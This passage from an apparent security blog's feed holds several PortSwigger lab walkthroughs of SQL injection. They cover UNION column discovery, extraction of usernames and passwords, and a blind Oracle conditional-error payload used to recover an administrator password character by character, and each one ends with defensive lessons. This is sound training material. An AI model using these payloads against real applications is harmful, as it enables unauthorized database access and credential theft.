    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The boundary between <code>ORDER BY 3</code> and <code>ORDER BY 4</code> fixes the original query width: oRDER BY 3 succeeds, ORDER BY 4 fails, and UNION SELECT null,null,null adds the required all-null row. A three-null UNION independently confirms that shape.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection UNION attack, determining the number of columns returned by the query</strong> through the endpoint and input recorded in the lab note. <code>ORDER BY 3</code> succeeds, <code>ORDER BY 4</code> fails, and <code>UNION SELECT null,null,null</code> adds the required all-null row.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>ORDER BY 3</code> succeeds, <code>ORDER BY 4</code> fails, and <code>UNION SELECT null,null,null</code> adds the required all-null row.</p><figure><img src="/images/portswigger/sql-injection/lab-determine-number-of-columns/step-1.png" alt="The first `category` sequence finds the boundary: `ORDER BY 3` returns products, while `ORDER BY 4` produces an error."><figcaption>The first `category` sequence finds the boundary: `ORDER BY 3` returns products, while `ORDER BY 4` produces an error.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-determine-number-of-columns/step-2.png" alt="`ORDER BY 3` succeeds, `ORDER BY 4` fails, and `UNION SELECT null,null,null` adds the required all-null row."><figcaption>`ORDER BY 3` succeeds, `ORDER BY 4` fails, and `UNION SELECT null,null,null` adds the required all-null row.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>ORDER BY 3</code> succeeds, <code>ORDER BY 4</code> fails, and <code>UNION SELECT null,null,null</code> adds the required all-null row. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Increment the <code>ORDER BY</code> index until the response changes from success to error, recording three as the last valid position. Then issue <code>UNION SELECT null,null,null</code> to prove that a three-column row is accepted.</p><figure><img src="/images/portswigger/sql-injection/lab-determine-number-of-columns/step-3.png" alt="Increment the `ORDER BY` index until the response changes from success to error, recording three as the last valid position. Then issue `UNION SELECT null,null,null` to prove that a three-column row is accepted."><figcaption>Increment the `ORDER BY` index until the response changes from success to error, recording three as the last valid position. Then issue `UNION SELECT null,null,null` to prove that a three-column row is accepted.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-determine-number-of-columns/step-4.png" alt="ORDER BY 4 produces the visible Internal Server Error after ORDER BY 3 succeeded, fixing the original query width at three columns."><figcaption>ORDER BY 4 produces the visible Internal Server Error after ORDER BY 3 succeeded, fixing the original query width at three columns.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-determine-number-of-columns/step-5.png" alt="The category parameter accepts UNION SELECT NULL,NULL,NULL and the normal product listing returns, confirming the three-column UNION shape."><figcaption>The category parameter accepts UNION SELECT NULL,NULL,NULL and the normal product listing returns, confirming the three-column UNION shape.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>ORDER BY 3</code> succeeds, <code>ORDER BY 4</code> fails, and <code>UNION SELECT null,null,null</code> adds the required all-null row. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Knowing the column count enables reliable UNION extraction. Parameterize the category value and return uniform errors so query-shape probing does not become an oracle.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Use ORDER BY errors on the category filter to identify three query columns, then confirm the shape with a three-value UNION SELECT.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection UNION attack, finding a column containing text</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-find-column-containing-text/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-find-column-containing-text/</id>
    <published>2026-07-06T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Only one UNION position can carry the required string: placing yNBXRx in column one errors, while UNION SELECT null,’yNBXRx’,null displays it in column two. The visible <code>yNBXRx</code> value identifies column two as text-compatible.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection UNION attack, finding a column containing text</strong> through the endpoint and input recorded in the lab note. Placing <code>yNBXRx</code> in column one errors, while <code>UNION SELECT null,&#39;yNBXRx&#39;,null</code> displays it in column two.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>placing <code>yNBXRx</code> in column one errors, while <code>UNION SELECT null,&#39;yNBXRx&#39;,null</code> displays it in column two.</p><figure><img src="/images/portswigger/sql-injection/lab-find-column-containing-text/step-1.png" alt="A three-column UNION test places the marker yNBXRx in candidate positions and shows that only the second result column accepts text."><figcaption>A three-column UNION test places the marker yNBXRx in candidate positions and shows that only the second result column accepts text.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Placing <code>yNBXRx</code> in column one errors, while <code>UNION SELECT null,&#39;yNBXRx&#39;,null</code> displays it in column two. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Starting from the known three-column shape, place <code>yNBXRx</code> in each position while leaving the others null. Keep the variant <code>UNION SELECT null,&#39;yNBXRx&#39;,null</code> after it renders the marker in the product page.</p><figure><img src="/images/portswigger/sql-injection/lab-find-column-containing-text/step-2.png" alt="The inert query `UNION SELECT null,&#x27;yNBXRx&#x27;,null` renders yNBXRx in the product results, confirming column two as text-compatible."><figcaption>The inert query `UNION SELECT null,'yNBXRx',null` renders yNBXRx in the product results, confirming column two as text-compatible.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when placing <code>yNBXRx</code> in column one errors, while <code>UNION SELECT null,&#39;yNBXRx&#39;,null</code> displays it in column two. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A printable UNION column is enough to extract arbitrary text. Bind the filter parameter and avoid exposing database conversion errors that reveal column types.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Test the three UNION positions in the category query with yNBXRx and learn that the second column is the text-compatible output channel.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection UNION attack, retrieving data from other tables</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-retrieve-data-from-other-tables/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-retrieve-data-from-other-tables/</id>
    <published>2026-07-06T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The product query has two columns and both can return the users table: oRDER BY 2 succeeds and ORDER BY 3 fails; UNION SELECT username,password FROM users renders the credential rows. The rendered rows expose the synthetic administrator credential directly.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection UNION attack, retrieving data from other tables</strong> through the endpoint and input recorded in the lab note. <code>ORDER BY 2</code> succeeds and <code>ORDER BY 3</code> fails; <code>UNION SELECT username,password FROM users</code> renders the credential rows.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>ORDER BY 2</code> succeeds and <code>ORDER BY 3</code> fails; <code>UNION SELECT username,password FROM users</code> renders the credential rows.</p><figure><img src="/images/portswigger/sql-injection/lab-retrieve-data-from-other-tables/step-1.png" alt="The opening `category` tests establish two result columns because `ORDER BY 2` succeeds and `ORDER BY 3` fails."><figcaption>The opening `category` tests establish two result columns because `ORDER BY 2` succeeds and `ORDER BY 3` fails.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-retrieve-data-from-other-tables/step-2.png" alt="`ORDER BY 2` succeeds and `ORDER BY 3` fails; `UNION SELECT username,password FROM users` renders the credential rows."><figcaption>`ORDER BY 2` succeeds and `ORDER BY 3` fails; `UNION SELECT username,password FROM users` renders the credential rows.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>ORDER BY 2</code> succeeds and <code>ORDER BY 3</code> fails; <code>UNION SELECT username,password FROM users</code> renders the credential rows. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Use <code>ORDER BY</code> to establish the two-column shape, append <code>UNION SELECT username,password FROM users</code>, and locate the administrator row in the product results before completing the lab login.<br>Keep the original category request as a control, and verify that the extra rows originate from <code>users</code> rather than the product catalog.</p><figure><img src="/images/portswigger/sql-injection/lab-retrieve-data-from-other-tables/step-3.png" alt="The category parameter contains UNION SELECT username,password FROM users, targeting the two confirmed printable columns."><figcaption>The category parameter contains UNION SELECT username,password FROM users, targeting the two confirmed printable columns.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-retrieve-data-from-other-tables/step-4.png" alt="The product response displays rows from users, including administrator and the synthetic password later accepted by the login form."><figcaption>The product response displays rows from users, including administrator and the synthetic password later accepted by the login form.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>ORDER BY 2</code> succeeds and <code>ORDER BY 3</code> fails; <code>UNION SELECT username,password FROM users</code> renders the credential rows. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>UNION injection can cross table boundaries and disclose credentials. Parameterize category filtering and grant the storefront query role access only to product data.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Use the vulnerable category parameter and two printable UNION columns to select usernames and passwords from users and recover the administrator login.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>Blind SQL Injection with Conditional Errors</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-conditional-errors/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-conditional-errors/</id>
    <published>2026-07-06T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough applies only to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or have explicit permission to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab contains blind SQL injection in the <code>TrackingId</code> cookie. Successful and unsuccessful queries do not produce useful content differences, but a database exception causes a distinct HTTP error. By triggering that exception only when a tested proposition is true, the error becomes a one-bit oracle that can reveal the lab’s synthetic administrator password.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The objective is to determine the password for the synthetic <code>administrator</code> account and sign in. The back end is Oracle, which matters because a standalone <code>SELECT</code> requires a table such as <code>dual</code>, and the injected expression must be compatible with the surrounding string column.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>I intercepted a normal request and changed only the <code>TrackingId</code> cookie. Appending one quote caused an internal error, while appending two quotes restored the normal response. That paired test is stronger evidence than an isolated error: the first value disrupts SQL syntax and the second balances it again.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-1.png" alt="I intercepted a normal request and changed only the TrackingId cookie. Appending one quote caused an internal error, while appending two quotes restored the normal response. That paired test is stronger evidence than an isolated error: the first value disrupts SQL syntax and the second balances it again. `UNION SELECT null` fails, whereas `UNION SELECT null FROM dual` succeeds and identifies Oracle&#x27;s required dummy table."><figcaption>I intercepted a normal request and changed only the TrackingId cookie. Appending one quote caused an internal error, while appending two quotes restored the normal response. That paired test is stronger evidence than an isolated error: the first value disrupts SQL syntax and the second balances it again. `UNION SELECT null` fails, whereas `UNION SELECT null FROM dual` succeeds and identifies Oracle's required dummy table.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-2.png" alt="I intercepted a normal request and changed only the `TrackingId` cookie. Appending one quote caused an internal error, while appending two quotes restored the normal response. That paired test is stronger evidence than an isolated error: the first value disrupts SQL syntax and the second balances it again."><figcaption>I intercepted a normal request and changed only the `TrackingId` cookie. Appending one quote caused an internal error, while appending two quotes restored the normal response. That paired test is stronger evidence than an isolated error: the first value disrupts SQL syntax and the second balances it again.</figcaption></figure><p>Oracle-specific probes then established usable syntax. A <code>UNION SELECT null</code> form failed, whereas the equivalent selection <code>FROM dual</code> succeeded.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-3.png" alt="Repeater sends `UNION SELECT null FROM dual` in `TrackingId`; the normal response confirms Oracle accepts the dummy-table form that failed without `FROM dual`."><figcaption>Repeater sends `UNION SELECT null FROM dual` in `TrackingId`; the normal response confirms Oracle accepts the dummy-table form that failed without `FROM dual`.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-4.png" alt="Oracle-specific probes then established usable syntax. A `UNION SELECT null` form failed, whereas the equivalent selection `FROM dual` succeeded."><figcaption>Oracle-specific probes then established usable syntax. A `UNION SELECT null` form failed, whereas the equivalent selection `FROM dual` succeeded.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The useful lab-only payload pattern is:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; UNION SELECT CASE WHEN (&lt;condition&gt;)</span></span><br><span class="line"><span class="string">  THEN TO_CHAR(1/0)</span></span><br><span class="line"><span class="string">  ELSE &#x27;&#x27;</span></span><br><span class="line"><span class="string">END FROM dual --</span></span><br></pre></td></tr></table></figure><p>When <code>&lt;condition&gt;</code> is true, Oracle evaluates <code>1/0</code>, raises <code>ZERO_DIVIDE</code>, and the application returns its error response. When it is false, the empty string branch is selected and the request completes normally. <code>TO_CHAR</code> makes the error-producing branch type-compatible with the selected text value.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-5.png" alt="Repeater sends a TrackingId UNION CASE probe whose true branch evaluates TO_CHAR(1/0) FROM dual; the response shows the Oracle-triggered server error."><figcaption>Repeater sends a TrackingId UNION CASE probe whose true branch evaluates TO_CHAR(1/0) FROM dual; the response shows the Oracle-triggered server error.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-6.png" alt="The TrackingId false-condition CASE selects an empty string FROM dual; the Academy shop home page loads normally with no Oracle ZERO_DIVIDE error."><figcaption>The TrackingId false-condition CASE selects an empty string FROM dual; the Academy shop home page loads normally with no Oracle ZERO_DIVIDE error.</figcaption></figure><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>With the oracle validated, I tested candidate lengths against the single synthetic administrator row. In Burp Intruder, the candidate integer occupied one payload position in a condition equivalent to <code>LENGTH(password)=N</code>. The response associated with <code>N=20</code> entered the error state, establishing a 20-character password for this lab instance.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-7.png" alt="Intruder marks the numeric payload position inside LENGTH(password)=N for the administrator row in the users table."><figcaption>Intruder marks the numeric payload position inside LENGTH(password)=N for the administrator row in the users table.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-8.png" alt="Burp Intruder results identify N=20 as the sole TrackingId length candidate producing the Oracle error, so the administrator password contains 20 characters."><figcaption>Burp Intruder results identify N=20 as the sole TrackingId length candidate producing the Oracle error, so the administrator password contains 20 characters.</figcaption></figure><h2 id="Recovering-each-synthetic-character"><a href="#Recovering-each-synthetic-character" class="headerlink" title="Recovering each synthetic character"></a>Recovering each synthetic character</h2><p>For each position from 1 through 20, I tested candidate characters using an Oracle expression equivalent to <code>SUBSTR(password, position, 1)=&#39;candidate&#39;</code>. Each position had exactly one candidate that triggered the error response. Sorting or filtering Intruder results by status and length made those matches straightforward to identify.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-9.png" alt="The character-extraction request places payload positions in SUBSTR(password,position,1)=candidate within the Oracle CASE expression."><figcaption>The character-extraction request places payload positions in SUBSTR(password,position,1)=candidate within the Oracle CASE expression.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-10.png" alt="Filtered Intruder results show one error-producing character candidate for each password position, yielding the synthetic administrator credential."><figcaption>Filtered Intruder results show one error-producing character candidate for each password position, yielding the synthetic administrator credential.</figcaption></figure><p>The recovered value is ephemeral lab data and is intentionally not reproduced as a reusable credential. Entering the extracted value for <code>administrator</code> completed the exercise.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-errors/step-11.png" alt="The recovered value is ephemeral lab data and is intentionally not reproduced as a reusable credential. Entering the extracted value for `administrator` completed the exercise."><figcaption>The recovered value is ephemeral lab data and is intentionally not reproduced as a reusable credential. Entering the extracted value for `administrator` completed the exercise.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Three controls support the conclusion: quote balancing changes error behavior predictably; true and false predicates reliably select different HTTP outcomes; and the 20 extracted character tests produce a credential accepted by the lab. Together, these observations distinguish a conditional SQL error channel from random server instability.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Suppressing query output does not make SQL injection harmless. Status codes, timing, connection resets, and custom error pages can all leak boolean results. Production applications should use parameterized queries, avoid concatenating cookie values into SQL, return uniform external errors, and monitor repeated near-identical requests. Uniform errors reduce leakage but are only defense in depth; eliminating the injection sink is the primary fix.</p><h2 id="Provenance"><a href="#Provenance" class="headerlink" title="Provenance"></a>Provenance</h2><p>This article is a publication-quality English rewrite of the author’s notes for the reserved PortSwigger migration item the internal migration record. Figures were retained from that lab session and stored locally under the manifest-reserved image route.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors">PortSwigger Web Security Academy: Blind SQL injection with conditional errors</a></li><li><a href="https://portswigger.net/web-security/sql-injection/blind">PortSwigger: Blind SQL injection</a></li><li><a href="https://docs.oracle.com/en/database/oracle/oracle-database/19/lnpls/predefined-internal-exceptions.html">Oracle Database documentation: Predefined internal exceptions (<code>ZERO_DIVIDE</code>)</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html">OWASP: SQL Injection Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger lab walkthrough explaining how Oracle conditional errors form a blind SQL injection oracle for extracting a synthetic password.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection UNION attack, retrieving multiple values in a single column</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-retrieve-multiple-values-in-single-column/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-retrieve-multiple-values-in-single-column/</id>
    <published>2026-07-06T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The page exposes one printable UNION column, so the source combines two fields into it: the direct two-value UNION errors; column two accepts text, and username||’:’||password renders both values together. PostgreSQL concatenation preserves both username and password in one rendered value.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection UNION attack, retrieving multiple values in a single column</strong> through the endpoint and input recorded in the lab note. The direct two-value UNION errors; column two accepts text, and <code>username||&#39;:&#39;||password</code> renders both values together.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>the direct two-value UNION errors; column two accepts text, and <code>username||&#39;:&#39;||password</code> renders both values together.</p><figure><img src="/images/portswigger/sql-injection/lab-retrieve-multiple-values-in-single-column/step-1.png" alt="The direct two-value UNION errors; column two accepts text, and username||&#x27;:&#x27;||password renders both values together. The final `category` UNION places `username||&#x27;:&#x27;||password` in column two so the administrator pair appears in one rendered value."><figcaption>The direct two-value UNION errors; column two accepts text, and username||':'||password renders both values together. The final `category` UNION places `username||':'||password` in column two so the administrator pair appears in one rendered value.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-retrieve-multiple-values-in-single-column/step-2.png" alt="The direct two-value UNION errors; column two accepts text, and `username||&#x27;:&#x27;||password` renders both values together."><figcaption>The direct two-value UNION errors; column two accepts text, and `username||':'||password` renders both values together.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The direct two-value UNION errors; column two accepts text, and <code>username||&#39;:&#39;||password</code> renders both values together. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Confirm which of the two columns accepts text, then select <code>username||&#39;:&#39;||password</code> into that position with null in the other. Read the administrator pair from the combined output and use it only in the lab login.</p><figure><img src="/images/portswigger/sql-injection/lab-retrieve-multiple-values-in-single-column/step-3.png" alt="The combined output displays each username and password separated by a colon in the single printable product-result column."><figcaption>The combined output displays each username and password separated by a colon in the single printable product-result column.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-retrieve-multiple-values-in-single-column/step-4.png" alt="Confirm which of the two columns accepts text, then select `username||&#x27;:&#x27;||password` into that position with null in the other. Read the administrator pair from the combined output and use it only in the lab login."><figcaption>Confirm which of the two columns accepts text, then select `username||':'||password` into that position with null in the other. Read the administrator pair from the combined output and use it only in the lab login.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when the direct two-value UNION errors; column two accepts text, and <code>username||&#39;:&#39;||password</code> renders both values together. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Limited output width does not prevent bulk credential disclosure. Prepared statements and separation of the application role from the users table are the primary controls.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Exploit the category query&#39;s single printable column by concatenating username and password, producing a readable administrator credential in one UNION value.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection vulnerability allowing login bypass</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-login-bypass/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-login-bypass/</id>
    <published>2026-07-06T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
